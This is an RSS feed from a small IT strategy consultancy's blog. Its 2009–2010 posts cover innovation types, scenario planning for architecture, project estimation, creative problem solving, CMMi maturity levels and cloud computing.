<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Sarquol Limited</title>
	<atom:link href="http://www.sarquol.com/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.sarquol.com</link>
	<description>IT Strategy &#38; Performance Consultancy</description>
	<lastBuildDate>Wed, 03 Mar 2010 14:04:08 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.9.2</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>Keeping on going</title>
		<link>http://www.sarquol.com/devproc/prjmgt/wimming/</link>
		<comments>http://www.sarquol.com/devproc/prjmgt/wimming/#comments</comments>
		<pubDate>Wed, 03 Mar 2010 12:16:36 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Project Management]]></category>

		<guid isPermaLink="false">http://www.sarquol.com/?p=498</guid>
		<description><![CDATA[I liked this post and thought it was worth sharing on the Sarquol site&#8230; it is a semi-serious look at ways to keep momentum when the going gets tough.
WIMMING YOUR WAY THROUGH A HARD JOB
http://blog.theitjobboard.co.uk/2010/03/wimming-your-way-through-a-hard-job/
Enjoy.
]]></description>
			<content:encoded><![CDATA[<p>I liked this post and thought it was worth sharing on the Sarquol site&#8230; it is a semi-serious look at ways to keep momentum when the going gets tough.</p>
<p style="padding-left: 30px;"><strong>WIMMING YOUR WAY THROUGH A HARD JOB</strong></p>
<p style="padding-left: 30px;"><a href="http://blog.theitjobboard.co.uk/2010/03/wimming-your-way-through-a-hard-job/" target="_blank">http://blog.theitjobboard.co.uk/2010/03/wimming-your-way-through-a-hard-job/</a></p>
<p>Enjoy.</p>
<a class="a2a_dd addtoany_share_save" href="http://www.addtoany.com/share_save?linkurl=http%3A%2F%2Fwww.sarquol.com%2Fdevproc%2Fprjmgt%2Fwimming%2F&amp;linkname=Keeping%20on%20going"><img src="http://www.sarquol.com/wp-content/plugins/add-to-any/share_save_171_16.png" width="171" height="16" alt="Share/Bookmark"/></a>]]></content:encoded>
			<wfw:commentRss>http://www.sarquol.com/devproc/prjmgt/wimming/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Innovation axes in IT…</title>
		<link>http://www.sarquol.com/strat/development-strat/innovation-axes/</link>
		<comments>http://www.sarquol.com/strat/development-strat/innovation-axes/#comments</comments>
		<pubDate>Tue, 02 Mar 2010 12:37:22 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Development]]></category>
		<category><![CDATA[change]]></category>
		<category><![CDATA[focus]]></category>
		<category><![CDATA[green wash]]></category>
		<category><![CDATA[industry]]></category>
		<category><![CDATA[innovation]]></category>
		<category><![CDATA[it]]></category>
		<category><![CDATA[management]]></category>
		<category><![CDATA[paradigm]]></category>
		<category><![CDATA[position]]></category>
		<category><![CDATA[procedure]]></category>
		<category><![CDATA[process]]></category>
		<category><![CDATA[product]]></category>
		<category><![CDATA[Strategy]]></category>

		<guid isPermaLink="false">http://www.sarquol.com/?p=493</guid>
		<description><![CDATA[I was reading an article recently that suggested there are basically 4 types of innovation that a company might seek to undertake:

Product innovation, whereby a new product or service is brought to market or a current one improved;
Process innovation, whereby processes and procedures are modified to make them more efficient
Positioning innovation, whereby a product or [...]]]></description>
			<content:encoded><![CDATA[<p>I was reading an article recently that suggested there are basically 4 types of innovation that a company might seek to undertake:</p>
<ol>
<li><em>Product innovation</em>, whereby a new product or service is brought to market or a current one improved;</li>
<li><em>Process innovation</em>, whereby processes and procedures are modified to make them more efficient</li>
<li><em>Positioning innovation,</em> whereby a product or service stays fundamentally the same but is sold to a different market or as a different proposition</li>
<li><em>Paradigm innovation</em>, whereby an innovation is effectively disruptive and facilitates some form of fundamental change</li>
</ol>
<p><span id="more-493"></span>This is an interesting way of looking at the possible innovations available, especially since it is likely that one company might be pursuing more than one of these approaches at the same time. On reflection, however, I found it more interesting to consider where one type of innovation is purported to be another type. It is clear that this happens in the IT industry on a regular basis. The release of Windows 7 is an example, whereby the change is quite clearly a <em>Product innovation</em> in that it has changed the way Windows works internally. The product, however, is still Windows. Looking at the Advertising of the launch, however, one might be forgiven for suggesting that Microsoft is trying to <em>position</em> the change as a <em>Paradigm shift</em>. I believe that this allows them to “spin up” the perceived value of the new Windows version to users. I would suggest that some of the “Green IT” initiatives (c.f. “Green wash”) are similarly positioning pre-existing products as environmentally friendly initiatives.</p>
<p>Is it also possible, however, to <em>position</em> a change the other way? If you have a change that fundamentally changes the way that a business works then might there be value is positioning it as a simpler <em>product</em> or <em>process</em> innovation? In doing so the threat that the change poses to stakeholders might be downplayed and so allow a change into the environment that would otherwise meet excessive resistance. I can see that there might be good reasons for doing this, but would this be unethical? That is a difficult challenge that I suspect would need to be dealt with on a case-by-case basis. I don’t believe that the process has to be inherently unethical unless you really are getting an organisation to take on more cost and risk than it would otherwise be willing to do. This, in the final analysis, is the ethical challenge of any form of spin. When does “spin” spill over into out and out lies?</p>
<p>In more practical terms, it may be worth considering this as a checklist when introducing a change which is innovative, and in IT most of our significant projects are effectively innovative change to someone.  Once the innovative direction is considered then there will be consequential considerations that need to be taken into account. In the case of process innovation, for example, there will be a need to focus on the people who will be receiving the change and engaging them as early as possible. In a product innovation scenario, however, it is much more likely that simple communication about the changes will be necessary.</p>
<p>If you wish to read the article it is: “Francis, D. and Bessant, J. (2005), ‘Targeting innovation and implications for capability development’, Technovation, 25.”</p>
<a class="a2a_dd addtoany_share_save" href="http://www.addtoany.com/share_save?linkurl=http%3A%2F%2Fwww.sarquol.com%2Fstrat%2Fdevelopment-strat%2Finnovation-axes%2F&amp;linkname=Innovation%20axes%20in%20IT%E2%80%A6"><img src="http://www.sarquol.com/wp-content/plugins/add-to-any/share_save_171_16.png" width="171" height="16" alt="Share/Bookmark"/></a>]]></content:encoded>
			<wfw:commentRss>http://www.sarquol.com/strat/development-strat/innovation-axes/feed/</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>Future Scenarios in Architecture…</title>
		<link>http://www.sarquol.com/strat/implement/future-scenarios/</link>
		<comments>http://www.sarquol.com/strat/implement/future-scenarios/#comments</comments>
		<pubDate>Thu, 25 Feb 2010 18:00:37 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Implementation]]></category>
		<category><![CDATA[architecture]]></category>
		<category><![CDATA[Business]]></category>
		<category><![CDATA[environment]]></category>
		<category><![CDATA[future]]></category>
		<category><![CDATA[governance]]></category>
		<category><![CDATA[improved]]></category>
		<category><![CDATA[management]]></category>
		<category><![CDATA[match]]></category>
		<category><![CDATA[prediction]]></category>
		<category><![CDATA[problem]]></category>
		<category><![CDATA[process]]></category>
		<category><![CDATA[scenario]]></category>
		<category><![CDATA[scenarios]]></category>
		<category><![CDATA[Strategy]]></category>

		<guid isPermaLink="false">http://www.sarquol.com/?p=487</guid>
		<description><![CDATA[I recently needed to consider the state of a System Architecture and consider the changes likely to be needed over time. Thus, I was trying to produce a “Roadmap” for the architecture into the future. The challenge was that the future is uncertain. Some items can be planned for, and others are dependent on the [...]]]></description>
			<content:encoded><![CDATA[<p>I recently needed to consider the state of a System Architecture and consider the changes likely to be needed over time. Thus, I was trying to produce a “Roadmap” for the architecture into the future. The challenge was that the future is uncertain. Some items can be planned for, and others are dependent on the way the business and technological environments develop. These developments can be considered to be the product of various “forces” playing out in the environment of the system. How then can you address this complexity? <span id="more-487"></span></p>
<p>The field of business strategy has looked at this issue of an uncertain future and come up with a number of approaches for managing considering it. One of these is called “Scenario Planning”, and basically consists of building a set of different future scenarios which are considered plausible. They are not attempts at predicting the future, only of painting plausible futures. It is then possible to consider how these scenarios may play out according to the decisions you are taking now. This allows a form of sensitivity analysis on the decisions that you are making.</p>
<p>A process for approaching this would be to:</p>
<p>1. State the architecture decisions that need to be made.</p>
<p>2. Identify the major environmental forces that impact on the architecture.</p>
<p>3. Build four scenarios based on the principal forces.</p>
<p>4. With the scenarios in hand, identify architecture opportunities within each scenario.</p>
<p>5. Examine the implications of the decisions across the range of scenarios.</p>
<p>As an example, lets assume that you need to decide between two architecture design patterns, A and B. For the example “A” provides a highly resilient and fault tolerant solution but involves significant additional hardware, operational administration and development costs over “B”. The decision that needs to be made is whether the extra capability of “A” is justified. If this is a new system then it may not initially require large processing volumes, and may be able to accept a system outage. The scenarios, however, could be used to examine under what circumstances the additional capability would be justified. If the system catches on, for example, how long might it take for the system to become business critical? Would you have time to re-engineer it? This may lead you to decide the additional capability is justified now, or would allow you to understand what changes in the environment might lead to the additional capability being needed.</p>
<p>In terms of the Architecture Roadmap then, the Scenarios developed and decisions taken may then be included in the roadmap. With this in mind a <em>Planning Scenario</em> is chosen. This defines the assumption set on which the roadmap has been built. In doing so, however, the other scenarios are not discounted but used as alternatives to which to architecture should be resilient. Where the architecture isn’t resilient to a scenario, then the roadmap will be able to indicate symptoms that will indicate that the architecture needs to be revisited. These then become business risks that must be managed based on the selected architecture.</p>
<p>All of this seems relatively complicated, so why bother? The answer is that architecture decisions are taken on a regular basis under the in the knowledge that the requirements of the system are known and understood. This may be true of the explicit requirements elicited from users, but these are based on assumptions about the future. In reality the future is generally much more surprising than we would like to believe, and so taking the time to consider what this might mean for the decisions you are taking can be worthwhile. An exercise like this can be considered surprisingly quickly, and may significantly help decision making.</p>
<a class="a2a_dd addtoany_share_save" href="http://www.addtoany.com/share_save?linkurl=http%3A%2F%2Fwww.sarquol.com%2Fstrat%2Fimplement%2Ffuture-scenarios%2F&amp;linkname=Future%20Scenarios%20in%20Architecture%E2%80%A6"><img src="http://www.sarquol.com/wp-content/plugins/add-to-any/share_save_171_16.png" width="171" height="16" alt="Share/Bookmark"/></a>]]></content:encoded>
			<wfw:commentRss>http://www.sarquol.com/strat/implement/future-scenarios/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Project Estimation using Scenarios</title>
		<link>http://www.sarquol.com/devproc/prjmgt/project-estimation-scenarios/</link>
		<comments>http://www.sarquol.com/devproc/prjmgt/project-estimation-scenarios/#comments</comments>
		<pubDate>Thu, 28 Jan 2010 17:07:53 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Project Management]]></category>
		<category><![CDATA[estimation]]></category>
		<category><![CDATA[example]]></category>
		<category><![CDATA[Performance Modelling]]></category>
		<category><![CDATA[planning]]></category>
		<category><![CDATA[project]]></category>
		<category><![CDATA[scenarios]]></category>

		<guid isPermaLink="false">http://www.sarquol.com/?p=477</guid>
		<description><![CDATA[Defining estimation scenarios
The first stage in the steps to estimating a project was defined to be the definition of the scenarios to be supported in the solution.  The scenarios should be defined at as low a level of detail as possible, with the following diagram showing the example scenario definition.
Definition of the scenarios sizing
In the [...]]]></description>
			<content:encoded><![CDATA[<div class='series_toc'><h3>Table of contents for Project Estimation Model</h3><ol><li><a href='http://www.sarquol.com/devproc/prjmgt/estimation-model/' title='Project Estimation Model'>Project Estimation Model</a></li><li><a href='http://www.sarquol.com/devproc/prjmgt/model-example/' title='Project Estimation Model Example'>Project Estimation Model Example</a></li><li>Project Estimation using Scenarios</li></ol></div> <h2>Defining estimation scenarios</h2>
<p>The first stage in the steps to estimating a project was defined to be the definition of the scenarios to be supported in the solution.  The scenarios should be defined at as low a level of detail as possible, with the following diagram showing the example scenario definition.</p>
<div id="attachment_478" class="wp-caption alignnone" style="width: 310px"><a href="http://www.sarquol.com/wp-content/uploads/2010/01/01-scenario-definition.jpg"><img class="size-medium wp-image-478  " title="Scenario definition" src="http://www.sarquol.com/wp-content/uploads/2010/01/01-scenario-definition-300x135.jpg" alt="Scenario definition" width="300" height="135" /></a><p class="wp-caption-text">Scenario definiton</p></div>
<p><strong>Definition of the scenarios sizing</strong></p>
<p><span id="more-477"></span>In the spreadsheet the light blue fields are those that you would normally fill in. The light purple fields are intended to fill in automatically based on the calibration parameters. If you prefer, however, it is suggested that you replace the calculated value with your own value where a better value is available. In this case I would suggest changing the colour of the cell so that you know this has been done later. I use bright highlighter yellow for this.The purple values are filled in from the “Calibration” sheet based on the complexity selected in the drop-down within those cells. The values represent typical operation counts for scenarios of the defined complexity.Scenario sizing calibrationThe scenario sizing information is drawn from the following part of the calibration sheet:Scenario calibration</p>
<p>As for all the calibration, the provided values are likely to be useful but the optimal values will depend on the business context of the estimator. It is suggested that the calibration should be adjusted from project to project until the most appropriate values are found. For a more rigorous approach a function-point counting style could be adopted on a specification of some suitable scenarios. The idea is to count the number of entities (c.f. database tables) that need to be managed by each scenario.</p>
<p>In the scenario definition sheet these filled in values are then summed at the bottom of the page, and each operation type is multiplied by a weighting factor to produce a total size. This can be seen at the bottom of the scenario definition sheet in the example:</p>
<div id="attachment_480" class="wp-caption alignnone" style="width: 310px"><a href="http://www.sarquol.com/wp-content/uploads/2010/01/13-scenario-sizing.jpg"><img class="size-medium wp-image-480" title="Scenario sizing" src="http://www.sarquol.com/wp-content/uploads/2010/01/13-scenario-sizing-300x46.jpg" alt="Scenario sizing" width="300" height="46" /></a><p class="wp-caption-text">Scenario sizing</p></div>
<p><strong>The scenario sizing calculation</strong></p>
<p>As can be seen, a standard “Operation Weight” is applied to each of the operation types within the columns of the estimation spreadsheet.  These are drawn from this section within the calibration sheet:</p>
<div id="attachment_481" class="wp-caption alignnone" style="width: 310px"><a href="http://www.sarquol.com/wp-content/uploads/2010/01/03-scenario-operation-weight.jpg"><img class="size-medium wp-image-481" title="Scenario operation weight" src="http://www.sarquol.com/wp-content/uploads/2010/01/03-scenario-operation-weight-300x157.jpg" alt="Scenario operation weight" width="300" height="157" /></a><p class="wp-caption-text">Scenario operation weight</p></div>
<p><strong>Operation weighting calibration</strong></p>
<p>This process is similar in principle to function point analysis, but the constants have not been adjusted to provide a function point count. It would be possible to complete this and hence to provide an estimate very close to the true function point count of the solution. This, however, is left as an exercise for the reader since I don’t have access to a library of function point analysis data which would make it worthwhile.</p>
 <div class='series_links'><a href='http://www.sarquol.com/devproc/prjmgt/model-example/' title='Project Estimation Model Example'>Previous in series</a> </div><a class="a2a_dd addtoany_share_save" href="http://www.addtoany.com/share_save?linkurl=http%3A%2F%2Fwww.sarquol.com%2Fdevproc%2Fprjmgt%2Fproject-estimation-scenarios%2F&amp;linkname=Project%20Estimation%20using%20Scenarios"><img src="http://www.sarquol.com/wp-content/plugins/add-to-any/share_save_171_16.png" width="171" height="16" alt="Share/Bookmark"/></a>]]></content:encoded>
			<wfw:commentRss>http://www.sarquol.com/devproc/prjmgt/project-estimation-scenarios/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Creative problem solving for IT</title>
		<link>http://www.sarquol.com/devproc/improve/cps-for-it/</link>
		<comments>http://www.sarquol.com/devproc/improve/cps-for-it/#comments</comments>
		<pubDate>Wed, 27 Jan 2010 17:52:52 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Process Improvement]]></category>
		<category><![CDATA[cost]]></category>
		<category><![CDATA[CPS]]></category>
		<category><![CDATA[creative]]></category>
		<category><![CDATA[creativity]]></category>
		<category><![CDATA[development]]></category>
		<category><![CDATA[performance]]></category>
		<category><![CDATA[Performance Troubleshooting]]></category>
		<category><![CDATA[problem]]></category>
		<category><![CDATA[process]]></category>
		<category><![CDATA[solving]]></category>

		<guid isPermaLink="false">http://www.sarquol.com/?p=458</guid>
		<description><![CDATA[If I consider creative problem solving in would think about tree hugging, and weird techniques to be at one with the universe. It doesn’t seem to fit well with my idea of IT problems which need engineering solutions. The ideas, however, can be surprisingly effective when applied appropriately.]]></description>
			<content:encoded><![CDATA[<p>If I consider creative problem solving Iwould usually think about tree hugging, and weird techniques to be at one with the universe. It doesn’t seem to fit well with my idea of IT problems which need engineering solutions. I have, however, found that the use of such techniques will often lead to a better overall solution than simply digging into the technical detail.<span id="more-458"></span></p>
<p>In summary an example creative problem solving approach may consist of stages, such as:</p>
<ol>
<li>Exploring the problem by opening up consideration of the problem space.</li>
<li>Narrowing down the problem again by defining it based on the new understanding.</li>
<li>Opening up to a set of ideas for possible solutions.</li>
<li>Narrowing back down by selecting a subset of the possible solutions.</li>
<li>Opening up to the potential approaches to solution implementation.</li>
<li>Narrowing this down to an implementation plan.</li>
</ol>
<p>The creativity techniques can then be used to apply many people’s minds to each of the stages. The most commonly know approach is brainstorming in step 3. There are many such techniques, however, all with different properties and needs. It is the application of many minds to the problem in a way that isn’t often achieved in traditional meetings that really gives this value for IT. Choosing the people to bring into the problem at each stage carefully will allow a much better problem solving approach. It will also mean that they will tend to buy into the solution that is eventually chosen, which can help when it comes to implementation.</p>
<p>So next time you have an IT problem, and most of us have many on a regular basis, consider whether a way to apply moiré creativity to it might help. If the answer is “Yes” then consider how that might be achieved – even if you can’t get out the finger paints. If, of course, you need help in doing so then feel free to contact me at <a href="mailto:sales@sarquol.com?subject=Creativity">sales@sarquol.com</a> or call +44 7887 536083. The ideas can be surprisingly effective when applied appropriately.</p>
<a class="a2a_dd addtoany_share_save" href="http://www.addtoany.com/share_save?linkurl=http%3A%2F%2Fwww.sarquol.com%2Fdevproc%2Fimprove%2Fcps-for-it%2F&amp;linkname=Creative%20problem%20solving%20for%20IT"><img src="http://www.sarquol.com/wp-content/plugins/add-to-any/share_save_171_16.png" width="171" height="16" alt="Share/Bookmark"/></a>]]></content:encoded>
			<wfw:commentRss>http://www.sarquol.com/devproc/improve/cps-for-it/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>A quick look at CMMi</title>
		<link>http://www.sarquol.com/devproc/improve/look-at-cmmi/</link>
		<comments>http://www.sarquol.com/devproc/improve/look-at-cmmi/#comments</comments>
		<pubDate>Wed, 13 Jan 2010 18:30:09 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Process Improvement]]></category>
		<category><![CDATA[CMMi]]></category>
		<category><![CDATA[improved]]></category>
		<category><![CDATA[Improvement]]></category>
		<category><![CDATA[management]]></category>
		<category><![CDATA[optimisation]]></category>
		<category><![CDATA[process]]></category>
		<category><![CDATA[rocess]]></category>
		<category><![CDATA[Strategy]]></category>

		<guid isPermaLink="false">http://www.sarquol.com/?p=438</guid>
		<description><![CDATA[I was recently talking to a client was concerned about the development processes used within their organisation. This is a challenge that has been tackled by many organisations and one which the Software Engineering Institute looked at years ago and produced their Capability Maturity Model (CMM) to help with.  I stated that I would find [...]]]></description>
			<content:encoded><![CDATA[<p>I was recently talking to a client was concerned about the development processes used within their organisation. This is a challenge that has been tackled by many organisations and one which the Software Engineering Institute looked at years ago and produced their Capability Maturity Model (CMM) to help with.  I stated that I would find and send them a summary article to help. The challenge really started at that point.<span id="more-438"></span></p>
<p>The CMMi has been developed and integrated with other approaches and become the CMMi. This process has increased its apparent complexity, as well as its flexibility. The information on the SEI web site (<a title="SEI CMMi link" href="http://www.sei.cmu.edu/cmmi/" target="_blank">link</a>) has split into either detailed manuals of CMMi and presentations that primarily seem to say “Why you need to buy in our consultants…” The CMMi has been adopted by large players and so there is a strong consultancy market surrounding it, including training and appraisal of your organisational level. The manuals are reference material and not intended to be a thrilling read. The presentations do well at selling CMMi benefits but don’t offer much in the way of a “how to guide”.</p>
<p>The best links that I found to describe the CMMi to allow a quick “Is this for me assessment were:</p>
<p style="padding-left: 30px;">Tutorials point:</p>
<p style="padding-left: 60px;"><a title="Tutorials Point CMMi link" href="http://www.tutorialspoint.com/cmmi/cmmi-process-areas.htm" target="_blank">http://www.tutorialspoint.com/cmmi/cmmi-process-areas.htm</a></p>
<p style="padding-left: 30px;">Wikipedia:</p>
<p style="padding-left: 60px;"><a title="Wikipedia CMMi link" href="http://en.wikipedia.org/wiki/Process_area_(CMMI)" target="_blank">http://en.wikipedia.org/wiki/Process_area_(CMMI)</a></p>
<p>These sites provide an overview of CMMi at a level more suitable for someone who needs simply to understand the core nuggets of wisdom contained in the CMMi. The still are quite long though, so here is a quick summary of the summary…</p>
<p>CMMi is structured to allow consideration of how an organisation does things, for simplicity I will assume it is software development that is being performed. The CMMi assumes that the road to improvement means ending up with a standardised approach for doing this which can be measured, optimised and customised to the situation in a controlled fashion. It has this in common with many “Quality” processes including the international quality standards. It asserts that there 5 levels of maturity:</p>
<ul>
<li>Level 0 – Incomplete &#8211; We can get there, we’re sure we can. Not sure how though, and sometimes it don’t quite work right.</li>
<li>Level 1 – Performed – We can do it as long as it is about the same as the last time.</li>
<li>Level 2 – Managed – We can do it, and we can manage the process.</li>
<li>Level 3 – Defined – We can do it, and have a definition of <em>how</em>.</li>
<li>Level 4 &#8211; Quantitatively Managed – We can do it, and can provide numbers about how well. After all what you don’t measure you can’t manage!</li>
<li>Level 5 – Optimising – We can use the numbers as a basis for continual improvement of how well we do it.</li>
</ul>
<p>The idea of CMMi is to move up between the levels, and the way to do this is to develop various process areas in your organisation at each level. The areas form a structure, so it is very hard to fully benefit from a higher level process until the lower level ones have been addressed.</p>
<p>The processes organised by level are:</p>
<p>Level 2:</p>
<ul>
<li>Requirements Management</li>
<li>Project Planning</li>
<li>Project Monitoring and Control</li>
<li>Supplier Agreement Management</li>
<li>Measurement and Analysis</li>
<li>Process and Product Quality Assurance</li>
<li>Configuration Management</li>
</ul>
<p>Level 3:</p>
<ul>
<li>Requirements Development</li>
<li>Technical Solution</li>
<li>Product Integration</li>
<li>Verification</li>
<li>Validation</li>
<li>Organizational Process Focus</li>
<li>Organizational Process Definition</li>
<li>Organizational Training</li>
<li>Integrated Project Management</li>
<li>Risk Management</li>
<li>Decision Analysis and Resolution</li>
</ul>
<p>Level 4:</p>
<ul>
<li>Organizational Process Performance</li>
<li>Quantitative Project Management</li>
</ul>
<p>Level 5:</p>
<ul>
<li>Organizational Innovation and Deployment</li>
<li>Causal Analysis and Resolution</li>
</ul>
<p>It is likely that if you are having quality or delivery problems that by looking at these process areas in turn and considering whether you “Do that” you can start to gradually improve. The CMMi manuals have a lot to say that can support you, or you can start looking on Google etc. for ideas that might help you improve.  If you need help then seek outside help – it can be value for money. If you need to be certified to a certain level then the game is very different and outside input becomes a necessity.</p>
<a class="a2a_dd addtoany_share_save" href="http://www.addtoany.com/share_save?linkurl=http%3A%2F%2Fwww.sarquol.com%2Fdevproc%2Fimprove%2Flook-at-cmmi%2F&amp;linkname=A%20quick%20look%20at%20CMMi"><img src="http://www.sarquol.com/wp-content/plugins/add-to-any/share_save_171_16.png" width="171" height="16" alt="Share/Bookmark"/></a>]]></content:encoded>
			<wfw:commentRss>http://www.sarquol.com/devproc/improve/look-at-cmmi/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Being a problem solver&#8230;</title>
		<link>http://www.sarquol.com/perf/troubleshoot/problem-solver/</link>
		<comments>http://www.sarquol.com/perf/troubleshoot/problem-solver/#comments</comments>
		<pubDate>Tue, 01 Dec 2009 13:21:46 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Performance Troubleshooting]]></category>
		<category><![CDATA[fault]]></category>
		<category><![CDATA[issue]]></category>
		<category><![CDATA[management]]></category>
		<category><![CDATA[people]]></category>
		<category><![CDATA[performance]]></category>
		<category><![CDATA[problem]]></category>
		<category><![CDATA[resolution]]></category>
		<category><![CDATA[sarquol]]></category>
		<category><![CDATA[solution]]></category>
		<category><![CDATA[stakeholder]]></category>
		<category><![CDATA[troubleshooter]]></category>

		<guid isPermaLink="false">http://www.sarquol.com/?p=419</guid>
		<description><![CDATA[I ran into this article recently:
How to be a Problem Solver
http://www.digitaltonto.com/2009/how-to-be-a-problem-solver/
The advice in it is interesting, but it also caused me to reflect on the dual nature of problem solving, and how the two aspects need to be handled almost separately. The article above more or less discusses the stakeholder aspect of problem solving with [...]]]></description>
			<content:encoded><![CDATA[<p>I ran into this article recently:</p>
<p style="padding-left: 30px;"><a title="How to be a problem solver article" href="http://www.digitaltonto.com/2009/how-to-be-a-problem-solver/" target="_blank"><em><strong>How to be a Problem Solver</strong></em></p>
<p>http://www.digitaltonto.com/2009/how-to-be-a-problem-solver/</a></p>
<p><span id="more-419"></span>The advice in it is interesting, but it also caused me to reflect on the dual nature of problem solving, and how the two aspects need to be handled almost separately. The article above more or less discusses the stakeholder aspect of problem solving with the original raiser. In fact managing the stakeholders of a problem goes further than this, as there may be a whole set of people involved with any given problem that need to be considered in solving a problem. An example is the person who is in the role &#8220;at fault&#8221;. If they are not engaged in the solution then they might consider your &#8220;problem solving&#8221; to be a threat to them, and so block progress of your solution.</p>
<p>The other major aspect of the solution of problems will tend to be technical. I have proivided advice on a technical process for considering solutions <a title="Performance troubleshooting process article" href="http://www.sarquol.com/perf/troubleshoot/process/" target="_blank">previously</a>. In that article I didn&#8217;t consider the stakeholder management aspects of solving problems. It is likely, however, that at each step of resolving the technical issue it will be necessary to engage the different stakeholders to the problem, to make sure that they are bought in to the solution. A failure to do this <strong>will</strong> result in blocking behaviour, which will hamper the progress of the solution.</p>
<a class="a2a_dd addtoany_share_save" href="http://www.addtoany.com/share_save?linkurl=http%3A%2F%2Fwww.sarquol.com%2Fperf%2Ftroubleshoot%2Fproblem-solver%2F&amp;linkname=Being%20a%20problem%20solver%26%238230%3B"><img src="http://www.sarquol.com/wp-content/plugins/add-to-any/share_save_171_16.png" width="171" height="16" alt="Share/Bookmark"/></a>]]></content:encoded>
			<wfw:commentRss>http://www.sarquol.com/perf/troubleshoot/problem-solver/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Should you be looking at clouds?</title>
		<link>http://www.sarquol.com/perf/mgt/looking-at-clouds/</link>
		<comments>http://www.sarquol.com/perf/mgt/looking-at-clouds/#comments</comments>
		<pubDate>Thu, 12 Nov 2009 09:36:15 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Performance Management]]></category>
		<category><![CDATA[cloud]]></category>
		<category><![CDATA[cloudsave]]></category>
		<category><![CDATA[cloudtran]]></category>
		<category><![CDATA[cluster]]></category>
		<category><![CDATA[gartner]]></category>
		<category><![CDATA[gigaspaces]]></category>
		<category><![CDATA[hype]]></category>
		<category><![CDATA[performance]]></category>
		<category><![CDATA[Strategy]]></category>

		<guid isPermaLink="false">http://www.sarquol.com/?p=394</guid>
		<description><![CDATA[The promise of cloud computing is the ability to scale to meet any demand level almost instantly, saving money along the way by only ever needing the power available that is required now. To do this it uses a combination of virtualisation and grid-based clustering technology. The potential is enormous. To spice it up further [...]]]></description>
			<content:encoded><![CDATA[<p>The promise of cloud computing is the ability to scale to meet any demand level almost instantly, saving money along the way by only ever needing the power available that is required <em>now</em>. To do this it uses a combination of virtualisation and grid-based clustering technology. The potential is enormous. To spice it up further then by using a platform such as Gigaspace it is possible to improve performance and scalability to a degree that thousands of transactions a second are possible, based on in-memory database technology.<span id="more-394"></span></p>
<p>So, what’s the catch? According to Gartner’s hype-cycle Cloud Computing is at the peak of its inlated expectations and will take 2 to 5 years to become mainstream after plummeting through a trough of disillusionment. I would agree with them that the technology has significant potential issues, but the presentations of what has been achieved at Gigaspaces’ <a href="http://www.gigaspaces.com/cloudcrowd" target="_blank">Cloud Crowd</a> event were significant. There are significant potential issues in adopting the technology, and so strong architectural and project governance will be required but there are solutions to many of the potential issues.</p>
<p>As an example, in many applications the safety of committed data must be paramount. Losing a few transactions because of unforeseen events is just not acceptable. A solution to this is to write to a database, or use a connector to another application out of the cloud. This can, however, decrease performance and increase development complexity. To help in this area <a title="NT/e web site" href="http://www.nte.co.uk/" target="_blank">NT/e</a> have added to the technology pile a system called <a href="http://cloudslave.blogspot.com/" target="_blank">Cloud<em>Tran</em></a><em>. </em>The solution provides a database connection mechanism with simplified development and a potential for performance that is much closer to that of the rest of the cloud software. The result should be an acceptable level of data safety without removing the benefits derived from the massive scalability.</p>
<p>Thus, if you have a project that needs this sort of capability then Cloud Computing may be worth consideration. Its potential is significant, but treat it as a leading edge technology. Use strong architectural governance, proof of concepts and consultancy from the supplier to ensure that everything is being used effectively. The result, however, might well be a system with strong capability 2 to 5 years ahead of its time.</p>
<a class="a2a_dd addtoany_share_save" href="http://www.addtoany.com/share_save?linkurl=http%3A%2F%2Fwww.sarquol.com%2Fperf%2Fmgt%2Flooking-at-clouds%2F&amp;linkname=Should%20you%20be%20looking%20at%20clouds%3F"><img src="http://www.sarquol.com/wp-content/plugins/add-to-any/share_save_171_16.png" width="171" height="16" alt="Share/Bookmark"/></a>]]></content:encoded>
			<wfw:commentRss>http://www.sarquol.com/perf/mgt/looking-at-clouds/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>Assurance and turn-around</title>
		<link>http://www.sarquol.com/devproc/prjmgt/assurance/</link>
		<comments>http://www.sarquol.com/devproc/prjmgt/assurance/#comments</comments>
		<pubDate>Tue, 10 Nov 2009 13:39:03 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Project Management]]></category>
		<category><![CDATA[assurance]]></category>
		<category><![CDATA[executive]]></category>
		<category><![CDATA[management]]></category>
		<category><![CDATA[PRINCE2]]></category>
		<category><![CDATA[project]]></category>
		<category><![CDATA[senior]]></category>
		<category><![CDATA[solution]]></category>
		<category><![CDATA[supplier]]></category>
		<category><![CDATA[turn]]></category>
		<category><![CDATA[turn around]]></category>
		<category><![CDATA[turnaround]]></category>
		<category><![CDATA[user]]></category>

		<guid isPermaLink="false">http://www.sarquol.com/?p=390</guid>
